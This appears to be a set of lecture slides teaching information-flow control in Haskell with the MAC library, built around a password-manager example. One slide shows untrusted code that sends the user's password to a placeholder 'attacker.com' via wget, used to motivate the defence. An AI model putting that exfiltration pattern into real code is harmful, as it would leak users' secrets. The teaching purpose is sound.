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Untrusted code often handles sensitive data:

Code may be 
compromised 

Code may be 
buggy

Code must not leak sensitive data to the internet!

Sensitive Data

Software Components

Privacy concerns in software systems

Internet

Data Storage



[TechCrunch.com, May 2021]

[Wired, April 2021]

[The Verge, May 2018]

Bugs that leak sensitive data are everywhere!

https://techcrunch.com/2021/05/24/zocdoc-bug-patient-data/
https://www.wired.com/story/new-facebook-bug-exposes-millions-of-email-addresses/
https://www.theverge.com/2018/5/3/17316684/twitter-password-bug-security-flaw-exposed-change-now
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How can we prevent data leaks? 

Restrict access to data

Discretionary Access Control

Insufficient: code may need data 
access to implement functionalities

Restrict data propagation

Mandatory Access Control

Information Flow Control



What is Information-Flow Control?

IFC is a principled approach to data confidentiality: 

• Specify how information may propagate in the system:


“Sensitive inputs may not flow to the internet”


• Track data flows across program components


• Detect & suppress data leaks
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Building IFC systems is hard!  

• How do you track data flows? 


‣ Develop special compilers 


‣ Redesign web browsers


‣ Modify operating systems 

• Custom systems are hard to develop, maintain, and adopt!

Researchers have built IFC 
systems for Java, Javascript, 

Ocaml, Firefox, Chrome, Unix, …
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Building IFC systems in Haskell is easier!

• Haskell “pure” abstractions can directly express IFC anaylses


• Embed IFC analyses into Haskell library interface 

• Build IFC systems on top of IFC libraries

Developers don’t need custom compilers!

Developers only need to 
learn library APIs 

APIs prevent leaks by 
construction!
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Haskell IFC Libraries

MAC

LIO

HLIO

Library Enforcement

Static

Dynamic

Hybrid

When are leaks 
detected? 

They all apply 
similar principles
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Haskell type-system restricts where Input/Output is allowed:

Access external resources (eg files, network, databases)

Code typed IO may perform IO actions: 

No IO: data is confined!

IO actions may leak!

String  
Bool  
Int  
... 

Code with other types cannot perform IO actions: 

IO a
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IFC Library & Types
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• IFC libraries wrap IO actions with security types 


• Security types restrict IO actions to prevent leaks

IO Actions

Secure  
Wrappers
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Running example: Password Manager

*******

Secret password

Passwd Application

UntrustedTrusted

Public databases: 
exposed passwords 

Handle and store passwords

Attacker  
Server

isWeakPwd checks if password is weak (common, exposed etc.)
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isWeakPwd :: String -> Bool

isWeakPwd :: String -> IO Bool

No, but it may not query databases!

DB access require input/output!

Can function isWeakPwd leak the password?

It depends on its type! 



module Passwd where 

import qualified Untrusted


choosePwd :: IO String 


choosePwd = do 


  putStr "Please, select your password:" 


  pwd <- getLine 


  b <- Untrusted.isWeakPwd pwd 


  if b then

    do putStrLn "Your password is weak!” 


       choosePwd

  else return pwd

Trusted code for password manager
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module Untrusted where 


import Network.HTTP.Wget


isWeakPwd :: String -> IO Bool

isWeakPwd pwd = do

  ... 
  wget (“attacker.com/pwd=" ++ pwd) 

  ... 

Send password 
to attacker server  

IFC libraries disallow public outputs when secret data is in scope!

Public (observable) outputs can leak secret password!

Need IO to 
query database 

http://attacker.com/
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MAC: Static IFC Haskell Library

• Simple, only “standard” GHC extensions: 


‣ Multi-parameter type classes 


‣ Safe Haskell

• Small: ~200 LOC

• Expressive: Mutable state, Exceptions, Concurrency

• “Functional Pearl: Two Can Keep a Secret, If One of Them 
Uses Haskell”, by A. Russo, ICFP 2015

Reuse type system to 
perform security checks!

Untrusted code may not 
cheat the type system!
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How do we specify security policies?

• Security labels represent the confidentiality level of data:

data L 
data H 

• “Can-flow-to” type class represents order between labels:

class l ⊑ l' where 

• Give class instances for allowed information flows: 

instance L ⊑ L where 
instance L ⊑ H where 
instance H ⊑ H where
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How do we label data?

• Define abstract data type for labeled data:


newtype Labeled l a = Labeled a


• These types explicitly assign labels to data:


password :: Labeled H String 
dictionaryWords :: Labeled L [String]

Constructrors are not available to untrusted code
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How do we build secure computations?

• Define abstract data type of secure computations:

newtype MAC l a = MAC (IO a) 
instance Monad (MAC l) where …

‣ Encapsulate IO actions that do not leak

‣ Handle data at security level l 

wgetMAC :: String -> MAC L String 
readPwdFile :: MAC H String

• Only trusted code can run secure computations: 

runMAC :: MAC l a -> IO a
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How does MAC ensure IO actions do not leak?

It follows Mandatory Access Control principles [Bell LaPadula 73]:

1. No read-up: IO actions may not read data at higer security levels

2. No write-down: IO actions may not write data to lower security levels

MAC l alread
Read

Source

lread ⊑ l
lwrite

Write
Sink

l ⊑ lwrite



Secret computations may read secret inputs

MAC H StringH

Password

H ⊑ H



Public computations may not read secret inputs

MAC L StringH
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Secret computations may write secret outputs

MAC H () H

Password file

H ⊑ H



Secret computations may not write public outputs

MAC H () L

Public Server

H ⋢ L
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How do labeled data and computations interact?

label :: a -> MAC l (Labeled h a)

label creates a labeled value inside MAC computations: 

unlabel extracts the content of labeled values into MAC computations:

l ⊑ h =>

create = write new entity: 
apply no write-down rule!

unlabel :: Labeled l a -> MAC h al ⊑ h =>

extract = read:  
apply no read-up rule!
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import MAC


isWeakPwd :: Labeled H String -> MAC L (MAC H Bool)

isWeakPwd lpwd = do

body <- wgetMAC “https://haveibeenpwned.com/Passwords”

ws <- ... // Parse body into list of passwords

return (

 


)

 

do pwd <- unlabel lpwd 
   return (pwd `elem` ws)
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module Untrusted where


import MAC


isWeakPwd :: Labeled H String -> MAC L (MAC H Bool)

isWeakPwd lpwd = do

body <- wgetMAC “https://haveibeenpwned.com/Passwords”

ws <- ... // Parse body into list of passwords

return (

 


)

 

do pwd <- unlabel lpwd 
   return (pwd `elem` ws)

Secret label 
protects password

Fetch public 
databases

Inspect 
password



Secure Password Manager

module Passwd where 


import qualified Untrusted

import MAC


choosePwd :: IO String 


choosePwd = do 


  putStr "Please, select your password:" 


  pwd <- getLine 

  mac_H <- runMAC $ do  
    lpwd <- label pwd :: MAC L (Labeled H String)  
    Untrusted.isWeakPwd lpwd

  isWeak <- runMAC mac_H

  ...
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Why are MAC computations nested? 

Alternatives are ill-typed or incomplete: 

isWeakPwd’ :: Labeled H String -> MAC L Bool

No read-up: Cannot unlabel password

isWeakPwd’’ :: Labeled H String -> MAC H Bool

No write-down: Cannot fetch public databases

Nested computations with many security levels are unmanageble! 

MAC l1 (MAC l2 (... (MAC lN a) ...))



How does MAC avoid nested computations?

• MAC provides a special operator:


toLabeled :: l ⊑ h => MAC h a -> MAC l (Labeled h a) 


‣ Embed MAC h actions into MAC l computation


‣ Run nested MAC h computation


‣ Return result labeled with h to outer MAC l



pwd <- unlabel lpwd 
return (pwd `elem` ws)

toLabeled evaluates nested 
computation & returns labeled result  

isWeakPwd :: Labeled H String -> MAC L (Labeled H Bool) 
isWeakPwd lpwd = do

  ws <- getExposedPasswords

  toLabeled $ do



pwd <- unlabel lpwd 
return (pwd `elem` ws)

toLabeled evaluates nested 
computation & returns labeled result  

isWeakPwd :: Labeled H String -> MAC L (Labeled H Bool) 
isWeakPwd lpwd = do

  ws <- getExposedPasswords

  toLabeled $ do

true



pwd <- unlabel lpwd 
return (pwd `elem` ws)

toLabeled evaluates nested 
computation & returns labeled result  

isWeakPwd :: Labeled H String -> MAC L (Labeled H Bool) 
isWeakPwd lpwd = do

  ws <- getExposedPasswords

  toLabeled $ do

lbool <- runMAC $ do  
      lpwd <- label pwd :: MAC L (Labeled H String)  
      Untrusted.isWeakPwd lpwd

true



Summary: Core MAC API

newtype MAC l a = MAC (IO a)

label :: a -> MAC l (Labeled h a)l ⊑ h =>

unlabel :: Labeled l a -> MAC h al ⊑ h =>

newtype Labeled l a = Labeled a

toLabeled :: l ⊑ h => MAC h a -> MAC l (Labeled h a) 



What did we learn today?

• Haskell pure abstractions enable lightweight IFC analyses


• Fundamental principles behind Haskell IFC libraries


• An introduction to MAC static IFC library


